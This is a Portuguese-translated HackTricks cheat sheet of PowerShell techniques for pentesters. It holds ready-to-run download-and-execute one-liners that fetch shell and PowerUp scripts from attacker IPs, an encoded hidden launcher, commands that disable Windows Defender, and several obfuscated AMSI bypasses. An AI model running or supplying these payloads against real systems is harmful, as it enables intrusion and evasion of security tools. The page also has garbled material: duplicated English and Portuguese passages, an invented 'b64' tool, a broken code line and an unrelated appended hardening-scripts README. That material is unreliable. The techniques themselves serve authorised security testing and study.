hacktricks/windows-hardening/basic-powershell-for-pentesters/README.md

# PowerShell Básico para Pentesters

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

## Localizações padrão do PowerShell
```powershell
C:\windows\syswow64\windowspowershell\v1.0\powershell
C:\Windows\System32\WindowsPowerShell\v1.0\powershell
```
## Comandos básicos do PowerShell para começar

O PowerShell é uma poderosa ferramenta de linha de comando e automação desenvolvida pela Microsoft. É amplamente utilizado por pentesters para realizar várias tarefas durante um teste de penetração. Abaixo estão alguns comandos básicos do PowerShell que podem ser úteis para começar:

### Get-Process
O comando `Get-Process` é usado para obter informações sobre os processos em execução no sistema. Ele exibe detalhes como o ID do processo, nome do processo, uso de CPU e memória.

Exemplo de uso:
```
Get-Process
```

### Get-Service
O comando `Get-Service` é usado para obter informações sobre os serviços em execução no sistema. Ele exibe detalhes como o nome do serviço, status, modo de inicialização e descrição.

Exemplo de uso:
```
Get-Service
```

### Get-EventLog
O comando `Get-EventLog` é usado para obter informações sobre os logs de eventos do sistema. Ele permite visualizar eventos específicos, como logs de segurança, logs de aplicativos e logs do sistema.

Exemplo de uso:
```
Get-EventLog -LogName Security
```

### Get-WmiObject
O comando `Get-WmiObject` é usado para obter informações do Windows Management Instrumentation (WMI). Ele permite acessar informações do sistema, como configurações de hardware, software instalado e muito mais.

Exemplo de uso:
```
Get-WmiObject -Class Win32_ComputerSystem
```

### Get-ChildItem
O comando `Get-ChildItem` é usado para listar os arquivos e pastas em um diretório específico. Ele exibe detalhes como nome, tamanho, data de criação e atributos dos arquivos e pastas.

Exemplo de uso:
```
Get-ChildItem C:\Users
```

Esses são apenas alguns dos comandos básicos do PowerShell que podem ser úteis para começar. O PowerShell oferece uma ampla gama de recursos e funcionalidades avançadas que podem ser exploradas para fins de pentesting.
```powershell
Get-Help * #List everything loaded
Get-Help process #List everything containing "process"
Get-Help Get-Item -Full #Get full helpabout a topic
Get-Help Get-Item -Examples #List examples
Import-Module <modulepath>
Get-Command -Module <modulename>
```
## Baixar e Executar

To download and execute a file using PowerShell, you can use the following command:

Para baixar e executar um arquivo usando o PowerShell, você pode usar o seguinte comando:

```powershell
Invoke-WebRequest -Uri <URL> -OutFile <output_file>; .\<output_file>
```

Replace `<URL>` with the URL of the file you want to download, and `<output_file>` with the desired name for the downloaded file.

Substitua `<URL>` pela URL do arquivo que você deseja baixar e `<output_file>` pelo nome desejado para o arquivo baixado.

For example, to download a file named `payload.exe` from `http://example.com/payload.exe` and execute it, you would use the following command:

Por exemplo, para baixar um arquivo chamado `payload.exe` de `http://example.com/payload.exe` e executá-lo, você usaria o seguinte comando:

```powershell
Invoke-WebRequest -Uri http://example.com/payload.exe -OutFile payload.exe; .\payload.exe
```

Make sure to exercise caution when downloading and executing files from the internet, as they may contain malicious content. Always verify the source and integrity of the file before executing it.

Certifique-se de ter cuidado ao baixar e executar arquivos da internet, pois eles podem conter conteúdo malicioso. Sempre verifique a origem e a integridade do arquivo antes de executá-lo.
```powershell
g
echo IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.13:8000/PowerUp.ps1') | powershell -noprofile - #From cmd download and execute
powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.2.0.5/shell.ps1')|iex"
iex (iwr '10.10.14.9:8000/ipw.ps1') #From PSv3

$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://10.10.14.9:8000/ipw.ps1',$false);$h.send();iex $h.responseText
$wr = [System.NET.WebRequest]::Create("http://10.10.14.9:8000/ipw.ps1") $r = $wr.GetResponse() IEX ([System.IO.StreamReader]($r.GetResponseStream())).ReadToEnd(

#https://twitter.com/Alh4zr3d/status/1566489367232651264
#host a text record with your payload at one of your (unburned) domains and do this:
powershell . (nslookup -q=txt http://some.owned.domain.com)[-1]
```
### Baixar e Executar em segundo plano com Bypass AMSI

Este script PowerShell permite baixar e executar um arquivo em segundo plano, contornando o AMSI (Antimalware Scan Interface).

#### Uso

1. Abra o PowerShell como administrador.
2. Execute o seguinte comando para habilitar a execução de scripts não assinados:
```powershell
Set-ExecutionPolicy Bypass -Scope Process -Force
```
3. Execute o seguinte comando para baixar e executar o arquivo em segundo plano:
```powershell
IEX (New-Object Net.WebClient).DownloadString('URL_DO_ARQUIVO')
```
Substitua `URL_DO_ARQUIVO` pela URL do arquivo que deseja baixar e executar.

#### Observações

- Certifique-se de que você tem permissões de administrador para executar o PowerShell.
- O AMSI é um recurso de segurança do Windows que verifica scripts PowerShell em busca de malware. O bypass do AMSI pode ser considerado uma técnica de evasão.
- Tenha cuidado ao executar scripts de fontes desconhecidas, pois isso pode representar um risco de segurança.
```powershell
Start-Process -NoNewWindow powershell "-nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA="
```
### Usando b64 no Linux

O comando `b64` é uma ferramenta útil para codificar e decodificar dados em base64 no Linux. Ele pode ser usado para várias finalidades, como a manipulação de dados codificados em base64 durante testes de penetração. 

#### Codificando dados em base64

Para codificar dados em base64 usando o comando `b64`, você pode executar o seguinte comando:

```
echo "dados" | b64 -e
```

Substitua "dados" pelos dados que você deseja codificar. O comando acima irá codificar os dados em base64 e exibir o resultado na saída padrão.

#### Decodificando dados em base64

Para decodificar dados em base64 usando o comando `b64`, você pode executar o seguinte comando:

```
echo "dados codificados em base64" | b64 -d
```

Substitua "dados codificados em base64" pelos dados que você deseja decodificar. O comando acima irá decodificar os dados em base64 e exibir o resultado na saída padrão.

#### Exemplo de uso

Aqui está um exemplo de como usar o comando `b64` para codificar e decodificar dados em base64:

```
echo "Hello, World!" | b64 -e
```

Isso irá codificar a string "Hello, World!" em base64 e exibir o resultado na saída padrão. Para decodificar o resultado em base64 de volta para a string original, você pode executar o seguinte comando:

```
echo "SGVsbG8sIFdvcmxkIQ==" | b64 -d
```

Isso irá decodificar a string em base64 "SGVsbG8sIFdvcmxkIQ==" e exibir o resultado "Hello, World!" na saída padrão.
```powershell
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.31/shell.ps1')" | iconv -t UTF-16LE | base64 -w 0
powershell -nop -enc <BASE64_ENCODED_PAYLOAD>
```
## Download

### System.Net.WebClient

O `System.Net.WebClient` é uma classe do .NET Framework que fornece métodos para fazer download de arquivos da web. É uma ferramenta útil para pentesters que desejam baixar arquivos de um servidor remoto durante um teste de penetração.

#### Exemplo de Uso

```powershell
$webClient = New-Object System.Net.WebClient
$url = "https://www.example.com/file.txt"
$destination = "C:\path\to\save\file.txt"
$webClient.DownloadFile($url, $destination)
```

Neste exemplo, criamos uma instância do `System.Net.WebClient` e definimos a URL do arquivo que desejamos baixar e o local onde queremos salvá-lo. Em seguida, usamos o método `DownloadFile` para iniciar o download do arquivo.

#### Observações

- Certifique-se de ter permissão para baixar o arquivo desejado.
- Verifique se o destino especificado é acessível e tem permissão de gravação.
- Tenha cuidado ao baixar arquivos de fontes desconhecidas, pois eles podem conter malware ou serem usados para realizar ataques de phishing.
```powershell
(New-Object Net.WebClient).DownloadFile("http://10.10.14.2:80/taskkill.exe","C:\Windows\Temp\taskkill.exe")
```
O comando `Invoke-WebRequest` é usado para enviar solicitações HTTP e HTTPS para um servidor web. Ele permite que os pentesters realizem várias ações, como fazer o download de arquivos, enviar dados para um formulário da web e obter informações de uma página da web.

#### Sintaxe

```powershell
Invoke-WebRequest [-Uri] <string> [-Method <WebRequestMethod>] [-Headers <IDictionary>] [-Body <Object>] [-ContentType <string>] [-UserAgent <string>] [-TimeoutSec <int>] [-Proxy <Uri>] [-ProxyCredential <PSCredential>] [-UseBasicParsing] [-SessionVariable <string>] [-WebSession <WebRequestSession>] [-MaximumRedirection <int>] [-SkipCertificateCheck] [<CommonParameters>]
```

#### Parâmetros

- `-Uri`: Especifica a URL do servidor web para enviar a solicitação.
- `-Method`: Especifica o método HTTP a ser usado na solicitação, como GET, POST, PUT, DELETE, etc.
- `-Headers`: Especifica os cabeçalhos HTTP personalizados a serem incluídos na solicitação.
- `-Body`: Especifica o corpo da solicitação, que pode ser usado para enviar dados para um formulário da web ou para enviar uma carga útil personalizada.
- `-ContentType`: Especifica o tipo de conteúdo do corpo da solicitação.
- `-UserAgent`: Especifica o agente do usuário a ser usado na solicitação.
- `-TimeoutSec`: Especifica o tempo limite, em segundos, para a solicitação.
- `-Proxy`: Especifica o servidor proxy a ser usado para a solicitação.
- `-ProxyCredential`: Especifica as credenciais a serem usadas para autenticação no servidor proxy.
- `-UseBasicParsing`: Especifica se o analisador HTML básico deve ser usado para analisar a resposta.
- `-SessionVariable`: Especifica o nome da variável para armazenar a sessão da solicitação.
- `-WebSession`: Especifica uma sessão da solicitação existente a ser usada.
- `-MaximumRedirection`: Especifica o número máximo de redirecionamentos permitidos.
- `-SkipCertificateCheck`: Especifica se a verificação do certificado SSL deve ser ignorada.

#### Exemplos

1. Fazendo uma solicitação GET para uma página da web:

```powershell
Invoke-WebRequest -Uri "https://www.example.com"
```

2. Fazendo uma solicitação POST com dados de formulário:

```powershell
Invoke-WebRequest -Uri "https://www.example.com/login" -Method POST -Body @{username="admin"; password="password"} -ContentType "application/x-www-form-urlencoded"
```

3. Fazendo o download de um arquivo:

```powershell
Invoke-WebRequest -Uri "https://www.example.com/file.txt" -OutFile "C:\path\to\save\file.txt"
```

4. Enviando uma solicitação com cabeçalhos personalizados:

```powershell
$headers = @{
    "Authorization" = "Bearer token123"
    "Content-Type" = "application/json"
}

Invoke-WebRequest -Uri "https://www.example.com/api" -Headers $headers
```

#### Observações

- O comando `Invoke-WebRequest` é uma ferramenta poderosa para interagir com servidores web durante um teste de penetração. Ele permite que os pentesters enviem solicitações personalizadas e obtenham informações úteis para identificar vulnerabilidades e explorar sistemas.
```powershell
Invoke-WebRequest "http://10.10.14.2:80/taskkill.exe" -OutFile "taskkill.exe"
```
### Wget

Wget is a command-line utility that allows you to retrieve files from the web. It supports downloading files using various protocols such as HTTP, HTTPS, and FTP. Wget is commonly used in penetration testing to download files from target systems.

To use Wget, you need to open a command prompt or terminal and enter the following command:

```
wget [URL]
```

Replace `[URL]` with the URL of the file you want to download. Wget will then retrieve the file and save it to your current directory.

Wget also supports options that allow you to customize the download process. For example, you can use the `-O` option to specify a different name for the downloaded file, or the `-P` option to specify a different directory to save the file in.

Here are some examples of how you can use Wget:

- Download a file from a specific URL:
```
wget https://example.com/file.txt
```

- Download a file and save it with a different name:
```
wget -O newfile.txt https://example.com/file.txt
```

- Download a file and save it to a specific directory:
```
wget -P /path/to/directory https://example.com/file.txt
```

Wget is a powerful tool that can be used for various purposes, including downloading files during penetration testing. It is important to use it responsibly and within the boundaries of the law.
```powershell
wget "http://10.10.14.2/nc.bat.exe" -OutFile "C:\ProgramData\unifivideo\taskkill.exe"
```
### BitsTransfer

O BitsTransfer é um módulo do PowerShell que permite transferir arquivos entre computadores usando o protocolo Background Intelligent Transfer Service (BITS). O BITS é um serviço do Windows que permite transferências de arquivos em segundo plano, de forma assíncrona e com suporte a pausa e retomada.

O módulo BitsTransfer fornece cmdlets (comandos) que permitem iniciar, pausar, retomar e cancelar transferências de arquivos usando o BITS. Ele também permite monitorar o progresso das transferências e exibir informações detalhadas sobre cada transferência.

Os cmdlets do BitsTransfer são úteis para pentesters, pois permitem transferir arquivos de forma eficiente durante um teste de penetração. Por exemplo, você pode usar o cmdlet Start-BitsTransfer para transferir um arquivo malicioso para um sistema alvo e, em seguida, usar o cmdlet Get-BitsTransfer para monitorar o progresso da transferência.

O BitsTransfer é uma ferramenta poderosa para pentesters que desejam explorar vulnerabilidades em sistemas Windows. No entanto, é importante usá-lo com responsabilidade e apenas para fins legais e éticos.
```powershell
Import-Module BitsTransfer
Start-BitsTransfer -Source $url -Destination $output
# OR
Start-BitsTransfer -Source $url -Destination $output -Asynchronous
```
## Base64 Kali & EncodedCommand

Neste tutorial, vamos explorar como usar o Base64 no Kali Linux para codificar comandos PowerShell. O Base64 é um método de codificação que converte dados em uma sequência de caracteres ASCII, permitindo que sejam transmitidos e armazenados de forma segura.

O PowerShell é uma poderosa ferramenta de automação e gerenciamento de tarefas no Windows. Ao codificar comandos PowerShell em Base64, podemos evitar a detecção de antivírus e outras medidas de segurança, tornando nossas atividades de pentesting mais furtivas.

### Codificando comandos PowerShell em Base64

Para codificar um comando PowerShell em Base64, podemos usar o seguinte comando no Kali Linux:

```bash
echo "Comando PowerShell" | base64
```

Substitua "Comando PowerShell" pelo comando que deseja codificar. Por exemplo, se quisermos codificar o comando `Get-Process`, o comando completo seria:

```bash
echo "Get-Process" | base64
```

O resultado será uma sequência de caracteres Base64 que representa o comando PowerShell.

### Executando comandos PowerShell codificados

Depois de codificar um comando PowerShell em Base64, podemos executá-lo usando o seguinte comando no Windows:

```powershell
powershell.exe -EncodedCommand "Código Base64"
```

Substitua "Código Base64" pela sequência de caracteres Base64 que representa o comando PowerShell codificado. Por exemplo, se tivermos a sequência de caracteres Base64 `R2V0LVByb2Nlc3M=`, o comando completo seria:

```powershell
powershell.exe -EncodedCommand "R2V0LVByb2Nlc3M="
```

Isso executará o comando PowerShell codificado no sistema Windows.

### Considerações finais

O uso do Base64 para codificar comandos PowerShell pode ser uma técnica útil para evitar a detecção de antivírus e outras medidas de segurança durante atividades de pentesting. No entanto, é importante lembrar que o uso indevido dessas técnicas pode ser ilegal e antiético. Sempre obtenha permissão adequada antes de realizar qualquer teste de segurança em sistemas ou redes.
```powershell
kali> echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.9:8000/9002.ps1')" | iconv --to-code UTF-16LE | base64 -w0
PS> powershell -EncodedCommand <Base64>
```
## [Política de Execução](../authentication-credentials-uac-and-efs.md#ps-execution-policy)

## [Linguagem Restrita](broken-reference/)

## [Política do AppLocker](broken-reference/)

## Habilitar o WinRM (PS Remoto)
```powershell
enable-psremoting -force #This enables winrm

# Change NetWorkConnection Category to Private
#Requires -RunasAdministrator

Get-NetConnectionProfile |
Where{ $_.NetWorkCategory -ne 'Private'} |
ForEach {
$_
$_|Set-NetConnectionProfile -NetWorkCategory Private -Confirm
}
```
## Desativar o Defender

{% code overflow="wrap" %}
```powershell
# Check status
Get-MpComputerStatus
Get-MpPreference | select Exclusion* | fl #Check exclusions
# Disable
Set-MpPreference -DisableRealtimeMonitoring $true
#To completely disable Windows Defender on a computer, use the command:
New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force
# Set exclusion path
Set-MpPreference -ExclusionPath (pwd) -disablerealtimemonitoring
Add-MpPreference -ExclusionPath (pwd)

# Check exclusions configured via GPO
Parse-PolFile .\Registry.pol

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions
ValueName : Exclusions_Paths
ValueType : REG_DWORD
ValueLength : 4
ValueData : 1

KeyName : Software\Policies\Microsoft\Windows Defender\Exclusions\Paths
ValueName : C:\Windows\Temp
ValueType : REG_SZ
ValueLength : 4
ValueData : 0
```
{% endcode %}

### Bypass AMSI

O arquivo **`amsi.dll`** é **carregado** no seu processo e possui as **exportações** necessárias para qualquer aplicativo interagir com ele. E como ele é carregado no espaço de memória de um processo que você **controla**, você pode alterar seu comportamento **sobrescrevendo instruções na memória**. Fazendo com que ele não detecte nada.

Portanto, o objetivo dos bypasses do AMSI é **sobrescrever as instruções dessa DLL na memória para tornar a detecção inútil**.

Página da web do gerador de bypass do AMSI: [**https://amsi.fail/**](https://amsi.fail/)
```powershell
# A Method
[Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils').GetField('am'+'siInitFailed','NonPu'+'blic,Static').SetValue($null,$true)

# Another: from https://github.com/tihanyin/PSSW100AVB/blob/main/AMSI_bypass_2021_09.ps1
$A="5492868772801748688168747280728187173688878280688776828"
$B="1173680867656877679866880867644817687416876797271"
[Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " " ).
GetField([string](38..51|%{[char][int](29+($A+$B).
substring(($_*2),2))})-replace " ",'NonPublic,Static').
SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
[Ref].Assembly.GetType($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzAA==')))).GetField($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBtAHMAaQBJAG4AaQB0AEYAYQBpAGwAZQBkAA=='))),$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwA=')))).SetValue($null,$true)

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
&( $SHELLid[1]+$SHELlId[13]+'X') (NeW-OBJEct sYStEm.iO.coMPrESSIOn.defLAtEstReam( [iO.meMorYStReAm] [cOnvErt]::froMBaSE64StRINg( 'rVHRasJAEHzvdwhGkBAhLUXwYU7i2aKFq4mQBh8Sc6bBM5HkYmq/vruQfkF7L3s7s8vM3CXv+nRw0bb6kpm7K7UN71ftjJwk1F/WDapjnZdVcZjPo6qku+aRnW0Ic5JlXd10Y4lcNfVFpK1+8gduHPXiEestcggD6WFTiDfIAFkhPiGP+FDCQkbce1j6UErMsFbIesYD3rtCPhOPDgHtKfENecZe0TzVDNRjsRhP6LCpValN/g/GYzZGxlMlXiF9rh6CGISToZ6Nn3+Fp3+XCwtxY5kIlF++cC6S2WIDEfJ7xEPeuMeQdaftPjUdfVLVGTMd2abTk4cf'), [sysTEm.iO.cOmpResSioN.COMprEssiOnMOde]::decOMPRESs ) | foreAch{NeW-OBJEct iO.STREaMREadER( $_ , [teXt.ENCoDiNg]::aScii )}).REadtoenD( )

# Another Method: from https://github.com/HernanRodriguez1/Bypass-AMSI
${2}=[Ref].Assembly.GetType('Sy'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGUA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bQAuAE0A')))+'an'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBnAGUA')))+'m'+'en'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dAAuAEEAdQA=')))+'t'+'om'+'at'+'io'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgAuAEEA')))+'ms'+'i'+'U'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dABpAGwA')))+'s')
${1}=${2}.GetField('am'+'s'+'iI'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBpAHQA')))+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RgBhAGkAbAA=')))+'ed','No'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bgBQAHUA')))+'bl'+'i'+$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwAsAFMA')))+'ta'+'ti'+'c')
${1}.SetValue($null,$true)

# Another Method
$a = 'System.Management.Automation.A';$b = 'ms';$u = 'Utils'
$assembly = [Ref].Assembly.GetType(('{0}{1}i{2}' -f $a,$b,$u))
$field = $assembly.GetField(('a{0}iInitFailed' -f $b),'NonPublic,Static')
$field.SetValue($null,$true)

# AMSI Bypass in python
https://fluidattacks.com/blog/amsi-bypass-python/

# Testing for Amsi Bypass:
https://github.com/rasta-mouse/AmsiScanBufferBypass

# Amsi-Bypass-Powershell
https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell

https://blog.f-secure.com/hunting-for-amsi-bypasses/
https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
https://github.com/cobbr/PSAmsi/wiki/Conducting-AMSI-Scans
https://slaeryan.github.io/posts/falcon-zero-alpha.html
```
### Bypass AMSI 2 - Hooking de Chamada de API Gerenciada

Verifique [**este post para informações detalhadas**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/)\*\*\*\*[ **e o código**](https://practicalsecurityanalytics.com/new-amsi-bypass-using-clr-hooking/).

Essa nova técnica baseia-se no hooking de chamadas de API de métodos .NET. Acontece que os métodos .NET precisam ser compilados em instruções nativas da máquina na memória, que acabam se parecendo muito com métodos nativos. Esses métodos compilados podem ser hookados para alterar o fluxo de controle de um programa.

Os passos para realizar o hooking de chamadas de API de métodos .NET são:

1. Identificar o método alvo para o hooking
2. Definir um método com o mesmo protótipo de função que o alvo
3. Usar reflexão para encontrar os métodos
4. Garantir que cada método tenha sido compilado
5. Encontrar a localização de cada método na memória
6. Sobrescrever o método alvo com instruções apontando para nosso método malicioso

## Histórico do PS
```powershell
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt
```
## Obter permissões

To gather information about the permissions assigned to a user or group in a Windows system, you can use PowerShell commands. PowerShell provides several cmdlets that allow you to retrieve and analyze permissions.

### Get-Acl

The `Get-Acl` cmdlet retrieves the access control list (ACL) for a specified file or directory. It returns an object that contains information about the permissions assigned to the file or directory.

```powershell
Get-Acl -Path C:\Path\To\File.txt
```

### Get-NTFSAccess

The `Get-NTFSAccess` cmdlet retrieves the NTFS permissions for a specified file or directory. It returns an object that contains information about the permissions assigned to the file or directory, including the user or group, access rights, and inheritance settings.

```powershell
Get-NTFSAccess -Path C:\Path\To\File.txt
```

### Get-ADPermission

The `Get-ADPermission` cmdlet retrieves the Active Directory permissions for a specified user or group. It returns an object that contains information about the permissions assigned to the user or group, including the access rights and inheritance settings.

```powershell
Get-ADPermission -Identity "Domain\User"
```

By using these PowerShell cmdlets, you can easily gather information about the permissions assigned to users or groups in a Windows system. This information can be valuable for identifying potential security vulnerabilities and ensuring proper access control.
```powershell
Get-Acl -Path "C:\Program Files\Vuln Services" | fl
```
## Versão do sistema operacional e HotFixes

O PowerShell pode ser usado para obter informações sobre a versão do sistema operacional e os HotFixes instalados. Isso pode ser útil para identificar vulnerabilidades conhecidas e garantir que o sistema esteja atualizado.

### Obtendo a versão do sistema operacional

Para obter a versão do sistema operacional, você pode usar o seguinte comando:

```powershell
(Get-WmiObject -Class Win32_OperatingSystem).Caption
```

Isso retornará a versão do sistema operacional instalado no computador.

### Obtendo a lista de HotFixes

Para obter a lista de HotFixes instalados, você pode usar o seguinte comando:

```powershell
Get-HotFix
```

Isso retornará uma lista de todos os HotFixes instalados no sistema, incluindo o nome, descrição, data de instalação e número de identificação.

É importante verificar regularmente se há atualizações e instalar os HotFixes mais recentes para garantir a segurança do sistema operacional.
```powershell
[System.Environment]::OSVersion.Version #Current OS version
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
```
## Ambiente

---

## Description

---

## Descrição

This repository contains basic PowerShell scripts that can be used by pentesters during Windows hardening engagements. These scripts are designed to help pentesters automate common tasks and perform security assessments on Windows systems.

Este repositório contém scripts básicos do PowerShell que podem ser usados por pentesters durante as atividades de fortalecimento do Windows. Esses scripts foram projetados para ajudar os pentesters a automatizar tarefas comuns e realizar avaliações de segurança em sistemas Windows.

## Usage

---

## Uso

To use these scripts, you will need to have PowerShell installed on your Windows machine. Simply download the script you want to use and run it using the PowerShell command line.

Para usar esses scripts, você precisará ter o PowerShell instalado em sua máquina Windows. Basta baixar o script que você deseja usar e executá-lo usando a linha de comando do PowerShell.

```powershell
PS C:\> .\script.ps1
```

## Scripts

---

## Scripts

- **disable-weak-ciphers.ps1**: This script disables weak ciphers on the Windows system.

- **disable-weak-ciphers.ps1**: Este script desativa cifras fracas no sistema Windows.

- **enable-firewall.ps1**: This script enables the Windows Firewall and configures basic rules.

- **enable-firewall.ps1**: Este script ativa o Firewall do Windows e configura regras básicas.

- **disable-unnecessary-services.ps1**: This script disables unnecessary services on the Windows system.

- **disable-unnecessary-services.ps1**: Este script desativa serviços desnecessários no sistema Windows.

- **enable-bitlocker.ps1**: This script enables BitLocker drive encryption on the Windows system.

- **enable-bitlocker.ps1**: Este script ativa a criptografia de unidade BitLocker no sistema Windows.

- **disable-remote-desktop.ps1**: This script disables Remote Desktop on the Windows system.

- **disable-remote-desktop.ps1**: Este script desativa o Remote Desktop no sistema Windows.

- **enable-windows-update.ps1**: This script enables automatic Windows updates on the Windows system.

- **enable-windows-update.ps1**: Este script ativa as atualizações automáticas do Windows no sistema Windows.

- **disable-powershell-remoting.ps1**: This script disables PowerShell remoting on the Windows system.

- **disable-powershell-remoting.ps1**: Este script desativa o PowerShell remoting no sistema Windows.

- **enable-windows-defender.ps1**: This script enables Windows Defender on the Windows system.

- **enable-windows-defender.ps1**: Este script ativa o Windows Defender no sistema Windows.

- **disable-ntlmv1.ps1**: This script disables NTLMv1 authentication on the Windows system.

- **disable-ntlmv1.ps1**: Este script desativa a autenticação NTLMv1 no sistema Windows.

- **enable-smartscreen.ps1**: This script enables Windows SmartScreen on the Windows system.

- **enable-smartscreen.ps1**: Este script ativa o Windows SmartScreen no sistema Windows.

- **disable-wdigest.ps1**: This script disables WDigest authentication on the Windows system.

- **disable-wdigest.ps1**: Este script desativa a autenticação WDigest no sistema Windows.

- **enable-applocker.ps1**: This script enables AppLocker on the Windows system.

- **enable-applocker.ps1**: Este script ativa o AppLocker no sistema Windows.

- **disable-smbv1.ps1**: This script disables SMBv1 on the Windows system.

- **disable-smbv1.ps1**: Este script desativa o SMBv1 no sistema Windows.

- **enable-windows-event-logging.ps1**: This script enables Windows event logging on the Windows system.

- **enable-windows-event-logging.ps1**: Este script ativa o registro de eventos do Windows no sistema Windows.

- **disable-lmhash.ps1**: This script disables LM hash storage on the Windows system.

- **disable-lmhash.ps1**: Este script desativa o armazenamento de hash LM no sistema Windows.

- **enable-windows-firewall-logging.ps1**: This script enables Windows Firewall logging on the Windows system.

- **enable-windows-firewall-logging.ps1**: Este script ativa o registro de firewall do Windows no sistema Windows.

- **disable-netbios.ps1**: This script disables NetBIOS over TCP/IP on the Windows system.

- **disable-netbios.ps1**: Este script desativa o NetBIOS sobre TCP/IP no sistema Windows.

- **enable-windows-smartscreen.ps1**: This script enables Windows SmartScreen on the Windows system.

- **enable-windows-smartscreen.ps1**: Este script ativa o Windows SmartScreen no sistema Windows.

- **disable-ipv6.ps1**: This script disables IPv6 on the Windows system.

- **disable-ipv6.ps1**: Este script desativa o IPv6 no sistema Windows.

- **enable-windows-update-automatic-restart.ps1**: This script enables automatic restart after Windows updates on the Windows system.

- **enable-windows-update-automatic-restart.ps1**: Este script ativa a reinicialização automática após as atualizações do Windows no sistema Windows.

- **disable-weak-protocols.ps1**: This script disables weak protocols on the Windows system.

- **disable-weak-protocols.ps1**: Este script desativa protocolos fracos no sistema Windows.

